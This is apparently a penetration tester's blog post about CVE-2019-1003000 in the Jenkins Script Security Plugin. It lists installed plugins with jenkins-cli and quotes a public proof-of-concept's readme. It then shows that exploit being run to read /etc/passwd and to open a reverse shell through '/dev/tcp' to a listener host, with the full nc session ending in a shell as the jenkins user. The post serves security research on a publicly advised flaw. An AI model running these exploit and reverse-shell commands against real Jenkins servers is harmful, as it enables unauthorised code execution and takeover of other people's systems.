Jenkins – messing with exploits pt2 – CVE-2019-1003000

Jenkins – messing with new exploits pt1
February 26, 2019
Jenkins Master Post
February 27, 2019

Jenkins – messing with exploits pt2 – CVE-2019-1003000

After the release of Orange Tsai’s exploit for Jenkins. I’ve been doing some poking. PreAuth RCE against Jenkins is something everyone wants.

While not totally related to the blog post and tweet the following exploit came up while searching.

What I have figured out that is important is the plug versions as it relates to these latest round of Jenkins exploits.  TBH I never paid much attention to the plugins in the past as the issues have been with core Jenkins (as was the first blog post) but you can get a look at them by going to jenkins-server/pluginManager/installed

Jenkins plugin manager
It does require admin permissions or you get this:
No permissions for Jenkins plugin manager

If you do have permissions you can also hit it with the jenkins-cli client and pull the info

$ java -jar jenkins-cli.jar -s http://10.0.0.166:8080/ -auth admin:admin list-plugins

jsch                               JSch dependency plugin                                           0.1.55
structs                            Structs Plugin                                                   1.17
apache-httpcomponents-client-4-api Apache HttpComponents Client 4.x API Plugin                      4.5.5-3.0
mailer                             Mailer Plugin                                                    1.23
command-launcher                   Command Agent Launcher Plugin                                    1.3
workflow-api                       Pipeline: API                                                    2.33
workflow-job                       Pipeline: Job                                                    2.31
ssh-credentials                    SSH Credentials Plugin                                           1.14
authentication-tokens              Authentication Tokens API Plugin                                 1.3
workflow-cps-global-lib            Pipeline: Shared Groovy Libraries                                2.13
jackson2-api                       Jackson 2 API Plugin                                             2.9.8
pipeline-stage-tags-metadata       Pipeline: Stage Tags Metadata                                    1.3.4.1
pipeline-milestone-step            Pipeline: Milestone Step                                         1.3.1
credentials                        Credentials Plugin                                               2.1.18
lockable-resources                 Lockable Resources plugin                                        2.4
jquery-detached                    JavaScript GUI Lib: jQuery bundles (jQuery and jQuery UI) plugin 1.2.1
workflow-scm-step                  Pipeline: SCM Step                                               2.7
matrix-auth                        Matrix Authorization Strategy Plugin                             2.3
matrix-project                     Matrix Project Plugin                                            1.13
pipeline-stage-step                Pipeline: Stage Step                                             2.3
pipeline-build-step                Pipeline: Build Step                                             2.7
pipeline-input-step                Pipeline: Input Step                                             2.9
bouncycastle-api                   bouncycastle API Plugin                                          2.17
handlebars                         JavaScript GUI Lib: Handlebars bundle plugin                     1.1.1
momentjs                           JavaScript GUI Lib: Moment.js bundle plugin                      1.1.1
plain-credentials                  Plain Credentials Plugin                                         1.5
docker-commons                     Docker Commons Plugin                                            1.13
git-client                         Git client plugin                                                2.7.6
pipeline-rest-api                  Pipeline: REST API Plugin                                        2.10
workflow-basic-steps               Pipeline: Basic Steps                                            2.14
credentials-binding                Credentials Binding Plugin                                       1.17 (1.18)
pipeline-stage-view                Pipeline: Stage View Plugin                                      2.10
workflow-multibranch               Pipeline: Multibranch                                            2.20
script-security                    Script Security Plugin                                           1.49 (1.53)
git-server                         GIT server Plugin                                                1.7
workflow-step-api                  Pipeline: Step API                                               2.19
pipeline-graph-analysis            Pipeline Graph Analysis Plugin                                   1.9
pipeline-model-api                 Pipeline: Model API                                              1.3.4.1
workflow-cps                       Pipeline: Groovy                                                 2.61 (2.63)
branch-api                         Branch API Plugin                                                2.1.2
jdk-tool                           JDK Tool Plugin                                                  1.2
cloudbees-folder                   Folders Plugin                                                   6.7
durable-task                       Durable Task Plugin                                              1.29
junit                              JUnit Plugin                                                     1.27
scm-api                            SCM API Plugin                                                   2.3.0
ace-editor                         JavaScript GUI Lib: ACE Editor bundle plugin                     1.1
display-url-api                    Display URL API                                                  2.3.0
workflow-support                   Pipeline: Supporting APIs                                        3.2


AFAIK you cant enumerate plugins installed and their version without (elevated) authentication like you can with things like WordPress.  If you know how, please let me know.  For the time being i guess it’s just throwing things to see what sticks.

As I mentioned, the latest particular vulns are issues with installed Jenkins plugins. Taking a look at CVE-2019-1003000 (https://nvd.nist.gov/vuln/detail/CVE-2019-1003000) we can see that it affects the Script Security Plugin (the nist.gov says 2.49 but it’s a typo and should be 1.49) as seen on the Jenkins advisory https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266

An exploit for the issue exists and is available here:  https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc it even comes with a docker config to spin up a vulnerable version to try it out on.  What’s important about this particular exploit is that it IS post auth but it doesn’t require script permissions, only Overall/Read permission and Job/Configure permissions.

I’m seeing more and more servers/admins (rightfully) block access to the scriptscriptText console because it’s well documented that is an immediate RCE.

no script permission

I encourage you to read the whole readme file in the repo but the most important part is here:

A flaw was found in Pipeline: Declarative Plugin before version 1.3.4.1, Pipeline: Groovy Plugin before version 2.61.1 and Script Security Plugin before version 1.50

This PoC is using a user with Overall/Read and Job/Configure permission to execute a maliciously modified build script in sandbox mode, and try to bypass the sandbox mode limitation in order to run arbitrary scripts (in this case, we will execute system command).

As a background, Jenkins’s pipeline build script is written in groovy. This build script will be compiled and executed in Jenkins master or node, containing definition of the pipeline, e.g. what to do in slave nodes. Jenkins also provide the script to be executed in sandbox mode. In sandbox mode, all dangerous functions are blacklisted, so regular user cannot do anything malicious to the Jenkins server.


Running the exploit:

 python2.7 exploit.py –url http://localhost:8080 –job my-pipeline –username user1 –password user1 –cmd “cat /etc/passwd”
[+] connecting to jenkins…
[+] crafting payload…
[+] modifying job with payload…
[+] putting job build to queue…
[+] waiting for job to build…
[+] restoring job…
[+] fetching output…
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash

[Pipeline] End of Pipeline

Finished: SUCCESS

you can certainly pull a reverse shell from it as well.

python2.7 exploit.py –url http://localhost:8080 –job my-pipeline –username user1 –password user1 –cmd “bash -i >& /dev/tcp/10.0.0.16/4444 0>&1”
[+] connecting to jenkins…
[+] crafting payload…
[+] modifying job with payload…
[+] putting job build to queue…
[+] waiting for job to build…
[+] restoring job…
[+] fetching output…
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY

and you get:


nc -l 4444 -vv


bash: cannot set terminal process group (7): Not a tty

bash: no job control in this shell
bash-4.4$
bash-4.4$
bash-4.4$ whoami
whoami
jenkins

bash-4.4$


The TLDR is you can use this exploit to get a shell if an older version of the Script Security Plugin is installed and if you have Overall/Read permission and Job/Configure permission which a regular Jenkins user is more inclined to have and  this exploit doesn’t require using the script console.

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